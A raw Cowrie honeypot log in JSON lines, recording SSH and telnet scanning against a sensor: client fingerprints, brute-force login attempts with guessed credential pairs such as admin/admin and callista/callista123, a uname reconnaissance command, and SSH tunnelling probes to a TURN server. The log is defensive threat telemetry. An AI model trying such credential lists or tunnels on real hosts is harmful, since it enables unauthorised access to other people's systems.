{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:58:02.272417Z","src_ip":"193.32.162.145","session":"14021baa6217","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"sol","password":"solana","message":"login attempt [sol/solana] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:58:02.694190Z","src_ip":"193.32.162.145","session":"14021baa6217","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:58:03.030553Z","src_ip":"193.32.162.145","session":"14021baa6217","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:58:03.033146Z","src_ip":"193.32.162.145","session":"14021baa6217","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:58:03.166254Z","src_ip":"193.32.162.145","session":"14021baa6217","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:58:03.171710Z","src_ip":"193.32.162.145","session":"14021baa6217","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.252.198.174","src_port":62272,"dst_ip":"159.203.135.109","dst_port":23,"session":"07a7fbcf8720","protocol":"telnet","message":"New connection: 72.252.198.174:62272 (159.203.135.109:23) [session: 07a7fbcf8720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:59:00.257638Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":58170,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a19ce78df22","protocol":"telnet","message":"New connection: 180.235.129.180:58170 (10.17.0.5:23) [session: 5a19ce78df22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:59:13.023043Z"}
{"eventid":"cowrie.session.closed","duration":12.968068361282349,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:59:13.225571Z","src_ip":"72.252.198.174","session":"07a7fbcf8720","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.82474946975708,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:59:21.847698Z","src_ip":"180.235.129.180","session":"5a19ce78df22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":59766,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b5ae41d1a97","protocol":"telnet","message":"New connection: 180.235.129.180:59766 (10.17.0.5:23) [session: 4b5ae41d1a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:59:30.295209Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41212,"dst_ip":"159.203.135.109","dst_port":22,"session":"27eb4725a4dd","protocol":"ssh","message":"New connection: 193.32.162.145:41212 (159.203.135.109:22) [session: 27eb4725a4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:00:08.399000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:00:08.473672Z","src_ip":"193.32.162.145","session":"27eb4725a4dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:00:08.581223Z","src_ip":"193.32.162.145","session":"27eb4725a4dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"test","message":"login attempt [solana/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:00:08.906970Z","src_ip":"193.32.162.145","session":"27eb4725a4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:00:10.017312Z","src_ip":"193.32.162.145","session":"27eb4725a4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.34988713264465,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:00:21.644965Z","src_ip":"180.235.129.180","session":"4b5ae41d1a97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":8257,"dst_ip":"159.203.135.109","dst_port":22,"session":"91e09a0e9611","protocol":"ssh","message":"New connection: 213.209.159.56:8257 (159.203.135.109:22) [session: 91e09a0e9611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:00:24.570133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:00:24.575241Z","src_ip":"213.209.159.56","session":"91e09a0e9611","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:00:24.658074Z","src_ip":"213.209.159.56","session":"91e09a0e9611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"callista","password":"callista","message":"login attempt [callista/callista] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:00:25.060960Z","src_ip":"213.209.159.56","session":"91e09a0e9611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"callista","password":"callista1","message":"login attempt [callista/callista1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:00:26.147262Z","src_ip":"213.209.159.56","session":"91e09a0e9611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"callista","password":"callista123","message":"login attempt [callista/callista123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:00:27.232363Z","src_ip":"213.209.159.56","session":"91e09a0e9611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"callista","password":"callista1234","message":"login attempt [callista/callista1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:00:28.322412Z","src_ip":"213.209.159.56","session":"91e09a0e9611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"callista","password":"callista12345","message":"login attempt [callista/callista12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:00:29.407428Z","src_ip":"213.209.159.56","session":"91e09a0e9611","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:00:30.493935Z","src_ip":"213.209.159.56","session":"91e09a0e9611","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55242,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c23d757c9c5","protocol":"ssh","message":"New connection: 193.32.162.145:55242 (159.203.135.109:22) [session: 0c23d757c9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:21.167214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:21.172173Z","src_ip":"193.32.162.145","session":"0c23d757c9c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:21.272527Z","src_ip":"193.32.162.145","session":"0c23d757c9c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"test","message":"login attempt [sol/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:21.571841Z","src_ip":"193.32.162.145","session":"0c23d757c9c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:22.674550Z","src_ip":"193.32.162.145","session":"0c23d757c9c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":38106,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc1fcf8d9e1f","protocol":"ssh","message":"New connection: 45.148.10.121:38106 (10.17.0.5:22) [session: fc1fcf8d9e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:52.109270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:52.117950Z","src_ip":"45.148.10.121","session":"fc1fcf8d9e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:52.202240Z","src_ip":"45.148.10.121","session":"fc1fcf8d9e1f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:52.486311Z","src_ip":"45.148.10.121","session":"fc1fcf8d9e1f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:52.573471Z","session":"fc1fcf8d9e1f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:52.658891Z","src_ip":"45.148.10.121","session":"fc1fcf8d9e1f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:52.662682Z","src_ip":"45.148.10.121","session":"fc1fcf8d9e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:52.750724Z","src_ip":"45.148.10.121","session":"fc1fcf8d9e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":38114,"dst_ip":"10.17.0.5","dst_port":22,"session":"3734c8e285e2","protocol":"ssh","message":"New connection: 45.148.10.121:38114 (10.17.0.5:22) [session: 3734c8e285e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:52.830556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:52.835755Z","src_ip":"45.148.10.121","session":"3734c8e285e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:52.922400Z","src_ip":"45.148.10.121","session":"3734c8e285e2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:53.174461Z","src_ip":"45.148.10.121","session":"3734c8e285e2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:53.260650Z","session":"3734c8e285e2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:53.345581Z","src_ip":"45.148.10.121","session":"3734c8e285e2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:53.349133Z","src_ip":"45.148.10.121","session":"3734c8e285e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:02:53.443476Z","src_ip":"45.148.10.121","session":"3734c8e285e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.49.242","src_port":50588,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c28c32dbbfd","protocol":"ssh","message":"New connection: 148.135.49.242:50588 (10.17.0.5:22) [session: 9c28c32dbbfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:28.338132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:28.342696Z","src_ip":"148.135.49.242","session":"9c28c32dbbfd","protocol":"ssh"}
